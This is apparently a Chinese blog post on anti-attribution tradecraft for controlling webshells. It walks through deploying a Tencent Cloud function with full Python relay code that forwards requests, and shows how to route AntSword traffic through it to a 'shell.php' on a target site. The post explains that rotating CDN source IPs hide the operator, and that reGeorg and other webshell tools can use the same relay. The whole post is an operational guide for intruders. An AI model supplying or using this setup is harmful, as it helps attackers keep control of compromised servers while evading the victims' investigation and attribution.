论如何防溯源连接 WebShell 作者: admin 时间: 2021-02-27 分类: 随便写写,渗透技巧 新年新气象 :) # 原理介绍 这个技术的核心原理是利用腾讯云的云函数将我们的请求进行转发(和一些使用第三方应用进行转发是一样的)。在国外应该早就玩烂了。 # 更新日志 2020.03.01 - 更新云函数代码 # 具体步骤 ## 创建函数 使用默认模板即可,然后选择下一步  到这里也可以全部默认,函数名称和地域可以自己自由发挥,然后点击完成。  然后依次打开函数管理 - 函数代码  然后把下面代码替换 index.py 的代码,点击部署 ```python=1 # -*- coding: utf8 -*- import requests import json def geturl(urlstr): jurlstr = json.dumps(urlstr) dict_url = json.loads(jurlstr) return dict_url['u'] def main_handler(event, context): url = geturl(event['queryString']) headers = event['headers'] del headers['host'] if event['httpMethod'] == 'GET' : resp = requests.get(url,headers=headers,verify=False) else: postdata = event['body'] resp = requests.post(url,data=postdata,headers=headers,verify=False) response = { "isBase64Encoded": False, "statusCode": 200, "headers": {'Content-Type': 'text/html;charset=' + resp.apparent_encoding}, "body": resp.text } return response ``` 点击触发管理,就会看到访问路径,复制备用  ## 开始 Webshell 请求来源隐藏 打开蚁剑,url一栏中填入 `访问路径 + webshell地址`,列如 ``` https://service-gcuy2k9u-1257053841.gz.apigw.tencentcs.com/release/APIGWHtmlDemo-1614356287?u=https://www.xxx.com/shell.php ``` 其他设置和正常使用配置即可,看看效果  所有请求都是利用腾讯云的云函数将我们的请求进行转发,云函数的服务器是自带 CDN 的,所以我们每次去请求的 Webshell IP 都是不同的,这就达到了 Webshell 请求来源隐藏。 # 注意 1. 在函数管理 - 函数配置里面,最好把执行超时时间设置成和蚁剑里面的超时时间一样或者更长  2. 任何 Webshell 管理工具或者代理工具如 reGeorg 都可使用该方法来进行请求来源隐藏 标签: 对抗